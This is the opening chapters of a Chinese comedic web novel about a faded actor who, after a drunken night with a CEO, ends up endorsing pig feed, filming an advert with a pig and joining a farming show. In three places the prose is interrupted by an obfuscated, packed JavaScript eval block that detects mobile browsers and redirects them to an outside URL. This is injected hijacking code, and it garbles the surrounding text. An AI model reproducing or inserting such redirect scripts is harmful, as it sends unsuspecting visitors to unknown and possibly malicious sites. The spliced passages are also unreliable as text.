《有代言了,但是猪饲料(娱乐圈)》 1. 我真的喝多了 机场一个接机的没有。 高嘉璈环绕一圈,确定自己真的没有引起任何轰动后,把墨镜按回脸上,“走。” 助理海儿忙拿起行李箱的把子,跟上他的步伐。 高嘉璈腿长,走得飞快,海儿在后面喊到,“大哥,能不能稍微走慢一点。” 高嘉璈慢下脚步,却一句话不说。二人出了机场,上保姆车的时候,高嘉璈把门关得震天响。 海儿知道他为什么生气,在酒店打扮了一早上,到了机场,却没有一个人来接,换谁谁高兴。 高嘉璈靠在背椅上,“我不干了。” “什么?”海儿被他这一出弄得一愣。 “我说,我不干了。” 又来了。在短短一个月内,高嘉璈起码说了这四个字四百遍,好在,每次都被海儿劝了回去。 海儿已经完全掌握了话术,她先起势,正要说话,却被高嘉璈堵了回去。 “你别劝了,”他说到,“我这次说真的。” 海儿于是话头一转,“要不这样,今晚没工作,你出去外面休息走走一下吧。” 高嘉璈摇头,“不想去。” 海儿却开始和他分析起来,“你看,你现在事业,啊,虽然,啊,还暂时低落。” 高嘉璈撇了下嘴。 “但是,”海儿提高声音,“你长的好看,这浓眉大眼身材好,还一股子文艺气息,最符合富婆的喜好。” 高嘉璈不可思议地转过头看她,“你疯了吗?” 海儿抬手給他拉了一下衣领,“这娱乐圈不好混,没点背景没点钱,出不了头。所以我的意思,你还不如先榜几个脑残富二代,有了点资金撑腰。自从你和顾留分手后……” 高嘉璈转回头去,把墨镜带着,装睡起来。 霸总,高嘉璈想起自己在酒会上见到的某些“霸总”,风度翩翩的啤酒肚,温文尔雅的大金链,以及让人难忘的口臭……现实是很残酷的。 晚上,高嘉璈洗了个澡,还是按照海儿的建议,穿上便装,准备下楼走两圈。 还没出门,海儿就急匆匆地打了电话过来,“我刚看了一下行程,今晚顾留也在这家酒店,你千万别和他遇见,遇见了也一定要忍住,千万别打起来。” 高嘉璈皱起眉,“顾留怎么会和我一家酒店?” “不管我的事啊,”海儿连忙辩解道,“我订的时候他不在,应该是后面临时改行程撞上了。你藏着点儿,别遇到他就行。” “好好好知道了。” 挂断电话,高嘉璈坐回沙发上。 这位顾留先生,是高嘉璈上部剧的cp搭子,顾留是老演员,在剧组对高嘉璈照顾有嘉,高嘉璈一直以为他们算是在一起了一阵子。 后来他俩靠那部剧跻身一二线,顾留还在发布会上对高嘉璈深情告白,让高嘉璈以为自己真找到一个爱自己的好哥哥。 没想到一个月后,好哥哥亲手抢了自己的剧并奉上高嘉璈高中时的某吧发言,一时间,“高嘉璈说自己打过女生”“高嘉璈不尊重女性”“高嘉璈狗改不了吃屎”等热搜冲上第一。 而高嘉璈本人高中是没有手机的,更没有注册某吧,虽然确实是考过了跆拳道黑带,但他绝对没有打过女生。 海儿曾让公关公司也去挖顾留的黑料,那些料比什么发言精彩多了,可在要发布的时候被高嘉璈按下了。 没必要,他觉得,这样很像狗咬狗。所以他选择在横店遇到顾留时,直接打他两拳。 结果被人录下来,说顾留被打成重伤。但实际上高嘉璈连刑拘条件都没达到。 无论如何,高嘉璈资源一落千丈,直到成为无人问津的糊咖。 往事不堪回首。高嘉璈叹了口气,想这些事情反倒把自己的酒瘾勾出来了。 无所谓,他站起身,反正心虚地也不是自己。但为了避免麻烦,他还是做了一些防护。 十五分钟后,高嘉璈出现在酒店楼下的清吧,一副黑色墨镜架在鼻梁上,耳朵上还挂着一只黑口罩。 他平时妆容精致地出现在公众面前时,没有一个人认出他是哪个明星。 等把自己防得一丝不漏时,反倒有几个人抬起手机来拍,没办法,高挑的身材,松弛的衣服下若隐若现的曲线,哪怕蒙着脸也能知道是个大帅哥。 “一杯马提尼。” 酒保上下扫了好几眼高嘉璈,倒酒的时候还偷偷搜了一下这是谁——结果自然是糊出天际无人问津。 高嘉璈拿了酒坐下,吧台上人不多,除了两个喝哭了的大叔,还有个男人,穿着一身修身又休闲的西装,一手拿酒,静静喝着。 这时,一个前凸后翘的美女走到他身边,微微弯腰,说:“帅哥,一起喝一杯啊?” 男人转过头,高嘉璈猛地心一跳。 他五官深邃,乍一看像外国人,可偏偏鼻梁秀气了些,让他多了几分中国人的精致和古韵。 真正吸引高嘉璈的是他的眼睛,那双眼十分有力,一眼就能抓住别人的目光。可眼里的东西却让人捉摸不透,或许是因为他耸起的眉骨、或许是因为他微撇的眉尖,那双眼里似乎藏着些无法化开的沉重。 像一棵白桦树。高嘉璈心想。 “不好意思,在等人。”男人冷漠又客气地拒绝了女人。 女人并不放弃,从不知道哪里摸出一张房卡,放在男人酒杯旁,对他暧昧地一笑,转身离开。 男人把房卡递给酒保,让他还给那位女士。又自顾自喝起酒来。 这种长相,内娱绝对不常见。高嘉璈脑海里思索了一翻,确定他不是任何一个明星。 但这种气质、身材、长相,一定不是普通人,不会让自己碰到什么极品了吧? 高嘉璈喝了口酒,决定主动出击,哪怕才看见人家拒绝了别人。 他端着酒杯走过去,“你好,我……” 忽然,他脚下绊倒什么东西,整个人直接飞了出去,摔到男人脚下,酒也撒了男人一脸。 我靠。高嘉璈双眼紧闭,在计算自己装死躲过的概率有多大。 男人没管脸上的酒,站起身弯下腰,硬生生将高嘉璈从地上提了起来,扶他坐到吧台上。 “没事吧?”他问。 高嘉璈还在思考要不要装晕过去算了。 男人这才擦了擦脸上的酒,对酒保说:“重新给这位先生一杯马提尼,他眼睛不方便,给一个吸管。” 眼睛不方便!高嘉璈抓住这个话口,是啊,自己带着眼镜,装瞎不刚好吗? “先生,不好意思,”高嘉璈很快入戏,双手在空中抓来抓去,“我是不是给你造成困扰了?” 一双干燥温暖的手握住高嘉璈的手,高嘉璈闻到了男人身上凛冽的香水味。 “没关系,”男人低沉的声音在耳边回响,“你没受伤吧?” 高嘉璈摇头,赔笑道:“实在抱歉,先生,今晚的酒我请客。” 男人的嘴角一勾,倒也没拒绝,把新一杯马提尼推到他面前,然后拉着他的手去碰酒杯。 高嘉璈慢慢端起酒杯,问:“先生怎么称呼?” “梅盛。”梅盛也端起酒杯,和他的轻轻一碰。 没剩? “梅花的梅,盛开的盛。” 一解释,这个名字瞬间高大上起来。 “你呢?” 高嘉璈本想直接告诉他,转念一想,自己虽然糊得无人问津,但要是被狗仔逮到他夜会男人,第二天就是他这辈子最火的一天。 “叫我小璈就好。” 梅盛点点头,并未因他的不真诚而生气,只问道:“小璈,幸会。” 马提尼在吧台灯光下泛着暗红,像一朵隐秘的玫瑰,又很快被搅碎。 高嘉璈品了口酒,杵着下巴,从墨镜后面打量着男人,问:“梅先生,您是做什么的?” 梅盛说:“做点小生意。” “什么小生意?” “具体来说,开了个小超市。”梅盛说着,拿出工作手机,划拉几下,递给高嘉璈。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15246587|166357||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 高嘉璈才要伸手接,他又忽然把手机拿了回去。 “不好意思,”梅盛真挚地说,“忘记你您眼睛不方便。我开了一个小超市,叫丰和。” 高嘉璈心想,这年头开超市的都那么帅了吗? 梅盛收好手机,喝了一口酒,说:“你呢?我可以问一下,你的眼睛为什么会受伤吗?” “这个啊,”高嘉璈随口编道,“我前男友出轨了,我看见他和小三上床,然后,小三用刀把我的眼睛戳瞎了。” 说完,二人相视半天,憋不住笑起来。 高嘉璈耸了耸肩说:“好吧,我乱说的。” “故事有点离奇,”梅盛说,“但你不先笑的话,我几乎要信了。” “为什么?” “不知道,就是莫名很信任你。” 高嘉璈笑笑,说:“我可是个大骗子,我的名字是假的。” “没关系,”梅盛一笑,“我是真的就行。” 高嘉璈挑起眉,靠到沙发上,借着昏暗的灯光打量着面前男人:他是个高手。 梅盛把杯里的马提尼一饮而尽,说:“不如说说你的前男友?真的假的都行。” 高嘉璈笑起来,也把手里的马提尼喝完,才要说话,余光忽然扫过一个熟悉地身影。 顾留。他染了一头棕发,衬得他的五官更丑了。 高嘉璈揽了一下额前的长发,目光落在他身边的女生。是个网红,但实在记不起脸来。 他们站在吧台不远的地方,顾留揽着女生的腰,与女生相谈甚欢,眼里盛满深情。 酒保送来酒,顾留谢过,抬起酒喝的时候却看到高嘉璈,他装作没看见地移开目光。 高嘉璈挑了下眉,死渣男。 梅盛回头看了一眼吧台,问:“怎么了?” “闻到了猪的味道。” 梅盛抬起手臂闻了闻,被高嘉璈按下。 高嘉璈:“没说你,我说我前男友。” “在这里吗?” 高嘉璈点头,目光才要转开,又见顾留一把把女生拽进,低头吻了上去。 高嘉璈心里顿时五味杂陈,他蝴蝶一样的睫毛颤了颤,说:“我们走吧,换个地方喝。” 梅盛转头看了看那对男女,拉住他的手臂,说:“你想让他们赢吗?” 高嘉璈看向他,摇了摇头。 “那就让他们走。” 高嘉璈一笑,明白了他什么意思,说:“好吧,那就看看谁先走。” 说完,微微侧过头,去探梅盛的唇。 梅盛的味道和橘子肉一样,清新又理智。 梅盛按紧高嘉璈的后颈,加深了吻。 一吻过后,高嘉璈看向顾留,他果然眉头紧锁,一脸怨恨地盯着自己。 高嘉璈炫耀似的挑了挑眉,顾留再也待不住,拉着女生离开了。 刚才郁结的气现在全抒发出来了,高嘉璈心情大好,又灌下一杯马提尼。 他没注意,梅盛带着一丝笑,眼神沉沉地看着他。 月上三更。 高嘉璈醉了,又好像没醉,面带红晕地盯着梅盛看,觉得这人真是越看越有味道。 梅盛轻声问高嘉璈道:“你要回去了吗?” “不回。”高嘉璈温热的气息抚在梅盛耳边,梅盛捏紧了拳。 高嘉看到了,戳了戳梅盛的胸口,说:“不如我们交个朋友,你告诉我你到底是谁,我告诉你我的名字。” 梅盛垂眼,说:“高嘉璈。” 高嘉璈一愣,随后一笑,醉醺醺地说:“你怎么知道?” “你知道我是谁吗?” 高嘉璈歪着脑袋想了一会儿,说:“小超市老板?” 梅盛从怀中取出一张名片递给高嘉璈,高嘉璈完全忘记了自己“盲人”的设定,接了过来,眯着眼看上面摇晃的字。 “丰和……” 他话音未落,人就倒了下去。 梅盛接住他,看着怀中的人,嘴角勾起。 2. 猪饲料代言人的诞生 高嘉璈是被巨大的敲门声震醒的。 他脑袋昏沉,直起身,发现自己的衣服穿得比发布会还要整齐。 明明昏了啊,自己是怎么回酒店的? 敲门声又响起来,高嘉璈被催得不敢耽误,心想这海儿今天怎么那么暴躁。 开了门,海儿冲进来,环视房间内一圈,叉起腰,问:“你昨晚干了什么?” 高嘉璈挠了挠脑袋,说:“没干什么啊……哦,喝了点酒。怎么了,不会被拍到了吧?” “你觉得呢?” 高嘉璈叹出口气,“我带着墨镜的,一般人认不出来。是不是顾留搞我?” “你还遇到顾留了?” 高嘉璈举起手,“我没打他。” 海儿无语地看着他,说:“你知道吗?你现在的问题不是退圈,而是要退出社会。” 高嘉璈眨眨眼:“我昨晚杀人了?” 海儿看着他,那表情比他杀人了还难看:“你真不记得自己昨晚干什么了?” “我干了什么?我就……喝了点酒啊。” “和谁?” “……”高嘉璈想了好半天,“梅盛。” “果然。你知道他是谁吗?” 高嘉璈一回忆昨晚的事情就觉得头疼,“他说,他是开小超市的。” “开小超市的?”海儿被高嘉璈气笑了,她拿出手机,搜索后递给他。 高嘉璈接过手机,看着搜索页面,呆住了。 海儿说:“他是全球五百强、国内数一数二的农业集团、市值至少三百亿的丰和集团总裁。” 高嘉璈放下手机,挠了挠脑袋,说:“看不出来。”不是外表看不出来,而是梅盛好像没有很远距离感,不像是高高在上的总裁。 “我就算和他喝了点酒也不算社死吧?”高嘉璈问,“你不是让我榜大款吗?这个大款够大了吧。” “重点是,你除了和他喝酒,还干了什么?” “好吧我承认,我亲了他一下,但这也不能怪我,他长得真的帅,而且他先开口的!” “还有呢?”海儿盯着他。 “没干别的了!你看我这衣服都扣得死死的!” 海儿深吸一口气,控制住自己骂人的冲动,把平板上的电子合同递给他:“你的新代言。” “代言?什么代言?” 海儿委婉地说:“农业产品。” 高嘉璈皱了皱眉,往下翻着合同,忽然看到什么,他手上动作一停。 “认真的吗?”高嘉璈慢慢抬起头,看向海儿。 海儿点头。 “让我代言猪饲料?” 海儿点头,眼里带了些不忍。 高嘉璈深吸一口气,跌坐到床上,感觉这辈子真的完了。他将被路人嘲笑被粉丝痛骂,唯一高兴的可能只有在农村养猪的三姑。 “我提醒一句,”海儿说,“违约金两千万。” “多少?!”高嘉璈从床上跳起,“两千万,他把我卖了都不值两千万。” “还是有好消息。代言费一年一千万,一线明星都不一定有的待遇。”海儿安慰着拍了拍他的肩,“今早丰和法务就把合同发来了,估计下午就能官宣代言。” 高嘉璈扶着脑袋,不是很想承认这个丢人的事实,说:“可我不记得我签了合同,是不是无效?有没有可能是我喝醉了梅盛拿着我的大拇指盖的章?” 海儿说:“不太可能。”她指着合同最后,乙方签名那里,高嘉璈三个字一笔一划整齐地写在上面。 高嘉璈无语了。 “公司怎么说?”他抓住最后一丝机会,“能不能帮我出了违约费,我以后给公司当牛做马。” 海儿说:“你回公司自己问问王总吧。” …… “高先生请稍等,王总在开会。” 高嘉璈点头,坐到办公室外的横凳上。 喝了一杯柠檬水后,他记起了一些昨晚的事情。 别人喝酒喝睡着了都是一夜睡到天亮,他喝酒是睡一会儿又醒过来,兴奋地接着喝。 他记得梅盛拉住他的手臂,说:“少喝点,你刚才都断片了。” 高嘉璈醉醺醺地说:“我没断片啊,我刚才,是在思考。” “思考?”梅盛笑出声,说,“你在思考什么?” 高嘉璈又喝了一口酒,今夜的马提尼格外香甜,“我在思考,你到底是不是小超市老板。” 梅盛指着桌上的名片,说:“你可以看看。” “我是盲人。”高嘉璈把酒放在名片上,拉住梅盛的西装领结让他靠近,看着他英俊的眉眼:“我想听你亲口说。” 梅盛就着他的力,顺势靠到高嘉璈颈侧,说:“其实我是集团总裁。” 高嘉璈浅笑着,“真的吗?” “当然。” 高嘉璈以为他在开玩笑,或者说,以为他就是什么小商店的老板,也开玩笑说:“不如这样,我给你做你公司的代言人怎么样?” 梅盛看着他,说:“好啊。” 高嘉璈挑了挑眉,“不许反悔。” 梅盛居然真打电话让助理送来代言合同。高嘉璈当时太上头了,看清代言费后,二话不说签上了大名。 梅盛坐在他身边,手里还拿着杯拉菲,说:“确定不再考虑考虑?” 那时的高嘉璈以为自己坑到了一个大代言,忙说不考虑了。 现在的高嘉璈用手撑着脑袋,发现被坑的是自己。 助理叫了他两次,说王总请他进去。 高嘉璈硬着头皮走进办公室,自己签了个这么丢脸的代言,王总肯定要骂他。 “小高,你来了。” 高嘉璈抬头,对上王总十分灿烂的笑脸。他眨眨眼,应道:“王总。” “坐,你坐。”王总热情地招待高嘉璈坐到真皮沙发上,再为他斟满一杯浓茶,“尝尝看,新来的普洱。” 高嘉璈不明所以,捧起茶喝了一口,差点没把他舌头烫掉。 “你们小年轻,就是喜欢冲动。”王总笑眯眯地看着他,抬起泡得发黄的水杯,把茶沫吹开,喝了一口后,又“呲呲”两声,吐出喝进去的茶叶。 高嘉璈不敢评价。 但王总这话明显不是什么好话,于是心里暗暗盘算起一会儿怎么一哭二闹三上吊请求取消代言,毕竟那么丢人,王总和公司估计也不会想接。 王总放下杯子,话锋一转,说:“但我就喜欢这股冲动劲!” 啊?高嘉璈尴尬地笑了笑,说:“不好意思王总,给公司添麻烦了。” 王总“啪”地一声放下杯子:“这怎么会是麻烦呢?你简直是我们的财神啊!一千万代言费,你是公司成立以来,拿代言费拿得最高的明星!” 从王总办公室出来,高嘉璈的心彻底凉凉。 海儿守在门外,见他出来第一时间就问:“失败了?” 高嘉璈:“你怎么知道?” “那么高的代言费,就算你代言屎,王总也会让你去尝尝咸淡。” “我代言的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15246588|166357||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不几乎就是屎了吗?” “猪饲料不是屎。”海儿推了推眼镜,认真地说。 高嘉璈简直无语,“你在讲冷笑话吗?” 海儿说:“提醒你一下,以免你一会儿说错话。” “一会儿?” “要去拍代言照和广告。” 高嘉璈绝望地闭上了眼。 好消息,丰和集团有自己的拍棚和宣传团队,他不用找外包公司再被嘲笑一遍了。 坏消息,梅盛也在。 高嘉璈进棚的时候,第一眼就看见了那个高挑的背影。梅盛换了一套黑色西装,比昨晚的更商务,衬得他的身材修长又禁欲。 不出意料,没有人认出高嘉璈。反之,好多工作人员都在悄悄瞄梅盛,两个小姑娘经过高嘉璈身边时,还在兴奋讨论着: “梅总居然会来看拍摄!我好激动,我第一次见到他本人。” “听说代言人是他亲自选的,当然要亲自来看。” “梅总那么帅,干嘛不自己当代言人……” 梅盛背对着高嘉璈,正和助理谈论着什么。 高嘉璈挽起袖口,扭扭胳膊,正准备上前,却被海儿死死拉住。 海儿用一种视死如归的眼神看着他,“不能打他啊,你打了他我们都会死的!” 高嘉璈真的好奇自己平时究竟给海儿留下了什么印象。他拉开海儿的手,说:“我只是找他谈谈。” “你确定吗?” “当然。” 海儿将信将疑地放开他的胳膊。 高嘉璈朝梅盛走去,笑着喊了一声“梅总”。 梅盛回头,一个拳头朝自己脸糊来。还没等反应过来,脸就被狠狠揍了一拳。 整个拍摄瞬间鸦雀无声。 梅盛用舌头顶了下脸颊,又摸了下,肿了。 高嘉璈揉揉手,说:“你该多吃点饭,梅总,脸都瘦了。” 梅盛止住跑来地保安,对他们道:“没关系,我能处理。” “你坑我一次,我打你一拳,扯平了。”高嘉璈说。 梅盛说:“没问题,我们开始拍摄吧?高先生。” 工作人员这才像点了穴被松开一样,忙前忙后地准备,但哑穴又被人点上了,现场一片寂静。 “哐”地一声,一个人倒在地上。 高嘉璈探头看了看,说:“是我的助理海儿。” 两个工作人员上前,“她好像昏过去了,怎么办?” 梅盛眉头微皱,瞅了一眼两个工作人员说:“打电话找120,我以为这不需要在入岗培训中特意培训。” 高嘉璈说:“没关系,她经常……偶尔会这样,扶她去一旁坐一下就好。” 工作人员连忙把海儿扶到拍棚外面的沙发上躺好,又贴心地给她加了条毯子。 梅盛接过助理递上的冰毛巾,捂住一半脸,看向聚光灯下的高嘉璈。 高嘉璈的脸完全是为相机而生,轮廓流畅、极高的折叠度、如水一般的桃花眼,眼下还有一颗泪痣,很有脆弱感,这也是他和顾留的剧能大爆的主要原因。 谁能想到,这样长了一张让人怜惜的脸的人,刚刚撸起袖子干了别人一拳。 拍了几张形象照后,工作人员递上重头戏——猪饲料。 高嘉璈不知道是不是真的猪饲料,只知道一个黄盘子里放着一盘黑乎乎的东西,倒是没有什么怪味。 高嘉璈接过,问:“这怎么拍?” 工作人员拿出筷子,说:“你吃一口。” 3. 和猪拍广告 高嘉璈:“?你认真的吗?我不介意再打你老板一拳。” 梅盛在聚光灯后面看着他,说:“那是黑荞,我听说你没吃东西,叫人准备的。” 高嘉璈松了口气,接过筷子,挑起面糊吃了一口,入口绵密、很香很诱人,带着一丝淡淡的甜味,他正准备再来一口时,听见工作人员小声说:“这是新品,没过食品安全检测。” 高嘉璈真的很想再给梅盛一拳。 见高嘉璈要把筷子掰断,梅盛说:“小李,拿过来我也吃一口。” 工作人员小李把碗拿过去,助理才要递新筷子给梅盛,就见他拿起刚才高嘉璈吃过的筷子,自顾自吃了一口。 助理愣住了,看向高嘉璈的眼神也变了。 梅盛放下筷子,擦了擦嘴,说:“既然高先生不太喜欢,那我下次准备其他的。” 高嘉璈心想不必了,这次给我吃未过检食品,下次可能真给我吃猪饲料了。 插曲过后,拍摄继续,并没有和猪饲料合拍,摄影师沟通觉得让代言人捧着猪饲料这种照片太过诡异,不如靠后期。 高嘉璈又换了好几套衣服,拍了数十组形象照后,总算是结束拍照,接下来还有广告拍摄。 梅盛全程陪同,脸也好得差不多了。 补妆的时候,海儿终于醒了,她挪到高嘉璈身边,说:“不敢相信你还活着。” 高嘉璈笑道:“梅总很大度的。”说着,朝镜子里正看着他的梅盛挑了挑眉。 梅盛也笑着,只是那笑让高嘉璈觉得恐惧。 果然,梅盛没憋什么好屁。他让高嘉璈走到一片开阔的草地里——这片草地是丰和集团后花园,然后请来一位特别嘉宾。 是的,一头肥肥胖胖又干干净净的猪。 第一次拍代言广告,搭档是头猪。高嘉璈觉得自己这辈子有了。 广告情节如下: 男主角的爱人变成了一头猪,爱人因为自己是猪日渐消瘦。男主角为救爱人,寻遍天下至宝,最后在草地上捡到一碗丰和集团的猪饲料。爱人一闻到丰和猪饲料,便狼吞虎咽起来,最后靠丰和猪饲料把爱人养得又白又胖。 高嘉璈看完,一时说不出话,过了好半天他才找到自己的声音,“哪个神经病想的剧情?” 工作人员小李颤巍巍地举起手。 高嘉璈看着她,心里有千言万语想骂,最后只能化为一声叹息。 拍吧,谁让自己是乙方,谁让违约费两千万。 落日余晖将草坪染出金黄色,高嘉璈迎着夕阳站立,一手拿着棕色的猪饲料,一手轻轻抚慰着猪的脑袋。 他的搭档猪很聪明,吃得细嚼慢咽地,没有掉出一颗饲料来,还真像个人一样,难怪能被选来拍广告。 高嘉璈发现自己真是新时代阿Q,已经开始用猪很聪明来安慰自己了。 搭档猪也确实对得起它的体型,喂了好几碗还没吃够,“哄哄”地拱起高嘉璈来。 工作人员一边憋笑一边把猪牵了下去。 之后是男主角的独白,大概就是他多么想念自己的爱人,多么希望他能回来之类的。 高嘉璈看着一片金黄的草地,手里的台词稿被他攥紧,一些回忆涌上心头。哪怕已经和顾留闹掰,却还是会想起和他在剧组的快乐时光,要是时间停留在那瞬间就好了。 “嘉璈。”一声呼唤传来,如迷雾中的灯塔一般,让高嘉不得不转头去寻来源。 赤红的夕阳下,一个身材高挑的男人缓缓走来,他脚步坚定,锃亮的皮鞋能塌碎一切迷雾,仅是个剪影,也足够让人心动。 高嘉璈看着那个身影,许久未动的心在此时狂跳,他往前也朝那个身影走去,先是看到了俊美的脸庞,然后觉得熟悉,再然后才意识到,这是梅盛。 狂跳的心现在跳得更快,高嘉璈看了看他的脸,居然好了,看来打得不够用力啊。 “卡!卡卡卡卡卡!” 广告导演眉头紧皱,对高嘉璈道,“刚刚情绪都是很好的,迷茫、找到方向、心动,怎么一见到我们梅总的脸,眼里的柔情就变成杀意了呢?” 高嘉璈说:“不是,我在想,你们总裁还要拍广告,是不是有点小材大用了?” “是我主动申请的,”梅盛走过来,“猪要变成人,这样的情节请让谁演都有点羞耻,不如我自己来,反正不露脸。” 高嘉璈说:“你还知道别人会羞耻,那你怎么不想想我代言猪饲料羞不羞耻?” 梅盛眉头微瞥起来,他有些不解,“我不明白,猪饲料是普通农业用品,为什么会羞耻?你在农村有大量粉丝基础,代言猪饲料不是双赢吗?” 高嘉璈气不打一处来,“什么叫农村有大量粉丝基础,你是在说我土吗?” 梅盛却笑了一下,说:“我听不懂你的话,能在农村有粉丝基础,说明你影响力广,接地气,和土有什么关系?难道农村的粉丝不是粉丝?” 高嘉璈觉得自己没办法和这位农业大佬沟通,换了话题问:“我可以走了吗?” 梅盛看向广告导演,导演点了点头,“差不多了,梅总。” 高嘉璈转身就走,临走时,只和工作人员小李打了个招呼。 海儿战战兢兢地给梅盛鞠了一躬,说:“谢谢梅总给我们嘉璈一个机……” 高嘉璈拽着她的手臂,把她拉走了。 …… 高嘉璈站在公司天台上,一只手端着葡萄酒杯,俯瞰着城市的一片繁华。 忽然,身后传来急切地脚步声,不等他回头,一个人把自己扑倒,差点把他扑得掉下去,玻璃酒杯也碎了一地。 “小高,你可不能死啊!你死了公司要赔梅盛两千万!公司怎么办啊!” 王总趴在高嘉璈身上痛哭流涕。 高嘉璈挣扎着,说:“王总你快起来!” “我不起,起来了你就要跳下去了!嘉璈啊,猪饲料不丢人,你千万别想不开啊!” “我不跳楼,王总,我在楼顶喝酒呢!” “你骗人,嘉璈,不要再假装坚强了,我们……” 海儿站到碎片旁,看了看说:“王总,好像真的是在喝酒。” “噢。”王总愣了愣,赶忙起身,顺便把高嘉璈也拉了起来,“海儿说你要跳楼,给我吓死了。” “我干嘛要跳楼?”高嘉璈拍了拍身上的灰,“和猪拍广告我都拍了,还有什么想不开的。” 王总抿着嘴,和海儿对视一眼。 高嘉璈:“别告诉我还有坏消息。” 海儿:“也不算坏消息,就是,你的代言官宣了。” 高嘉璈掏出手机,下一秒,手机被王总抢走。 高嘉璈伸出手:“王总,手机还我。” 王总:“不行,万一你看了真要跳楼怎么办?” 高嘉璈说:“我不会跳楼的,就算跳,也会拉着梅盛一起跳。” 海儿戳戳王总,低声说:“以我对他的了解,应该是真话。” 王总把手机递了过去。 高嘉璈点开热搜,第一条赫然就是:高嘉璈代言猪饲料。 后面还跟了个深红色的“爆”字。 点开词条,居然有两亿阅读量。高嘉璈想不出自己还能干什么能得到这两亿阅读量。 路人甲:“不认识这个人,但代言猪饲料够我笑一年。” 路人丙:“猪是敏感肌能吃吗?”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15246589|166357||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 路人乙:“我真有点好奇这个人了,考古一下。” 顾留粉丝1:“人在做天在看,当时打我家哥哥,现在和猪同伍,活该。” 顾留粉丝2:“不敢买,怕我家猪吃了把我打成重伤。” 顾留粉丝3:“楼上考古的uu可以看看gja打人事件。” 不明所以的路人:“gja是宫颈癌的意思吗?” 夹缝之中,还有几个高嘉璈的粉丝:“从高嘉璈出道就很喜欢他,当时那部剧每天都在追,演技好长得帅,以为粉了潜力股,哪怕他打gl我都没脱粉,但今天真的憋不住了。就那么缺钱吗?代言猪饲料,真丢人。” 丢人。高嘉璈放下手机,不是滋味地看向楼下一片灯火。繁忙的街道中,有人开着豪车、有人穿着奢衣,也有人打着电话步履匆匆、有人带着孩子笑容吟吟,还有人拖着捡垃圾的布袋满面愁容、有人拿着扫大街的扫把低头干活…… 当然,还有人莫名其妙不明所以,比如又扑上来从后面抱住高嘉璈的王总:“都说了让你别看了,你看,想不开了吧!别跳啊小高!” 高嘉璈:“没有人要跳楼!!” …… 事情在持续发酵。短短一周,从热搜转战各个APP,养活了不知道多少个博主,“高嘉璈猪饲料代言人”成功成为一个热梗。 高嘉璈的欢欣雀跃,他们本来就是个小公司,养着一些十八线小明星和不温不火的网红,在赚钱和赔钱边缘徘徊。 而现在,不但有高嘉璈的高额代言,他在网上的不断加势也为公司带来了数不清的利益。 海儿更是直接被提拔成公司金牌经纪人助理,请高嘉璈吃了顿重庆火锅。 海儿把肥牛羊肉五花肉鸭肠鸭血一股脑地下到锅里,一边搅着一边对高嘉璈道:“大哥,我真没想到你眼光这么好。一挑就挑上上市公司总裁,还接了猪饲料代言,说实话一开始我也不理解,后来我才知道你的用心良苦,为了公司利益牺牲自己,太伟大了!” 高嘉璈看着这被肉类填得底料都看不见的火锅,拦住了海儿继续放虾滑的手。 包厢门被敲了敲,“您好送菜。” “进。” 一个面带胡须的中年男人笑嘻嘻地走进来,好奇地打量着高嘉璈。 海儿问:“刚刚送菜的不是的女的吗?” 男人把菜端正地放好,说:“我是火锅店老板,您是猪饲料代言人吗?能跟我合个影吗?” 海儿正要拒绝,却被高嘉璈拦住。 “来吧。”高嘉璈说。 男人拍了照很兴奋,马上离开了。 海儿瞥了一眼高嘉璈,把肥牛夹到他碗里,“你还好吧?” 高嘉璈说:“至少终于有人认出我了。” 海儿笑了一声,“慢慢会好起来的。刚好,我和你商量个事情。” 高嘉璈就知道,海儿这顿饭不是白请的。 海儿拿出平板,说:“你看看,制片人陈彤要做一档种田综艺《我们在农村》,觉得你猪饲料代言人的身份很适合,邀请你加入。” 高嘉璈实在佩服海儿的敬业精神,吃火锅还带着平板谈合作,她不拿金谁拿金。 他接过平板,仔仔细细地看了嘉宾要求、节目设置、合同等内容,又问海儿:“你看了合同吗?不会又是代言猪饲料这种坑吧。” “没有,我看了,而且邀请嘉宾不止你一个,除了你还有几个大咖,如果有隐形条款的话,陈彤也别想在圈里混了。” 高嘉璈点点头,还她平板,吃了几口菜后,放下筷子,说:“参加!好不容易有的热度不能白白浪费。” 海儿点头,“我也这样觉得。” 4. 睡猪圈 开机日,天气很好,万里无云。 西瓜地村在山腰靠顶的地方。此山非彼山,此山极高,几乎要冲破云端,高嘉璈刚下车时以为自己菌子吃多了,感觉向飞在空中似的。 站在路边,就能看到下面奔腾而过的江水。一条青色巨龙,夕阳为它披上铠甲,它便破开一座座高山,往天的尽头去了。 村口广场上,村民把拍摄现场围起来,还有人搬了板凳,坐在现场嗑瓜子,等着看大戏一样。 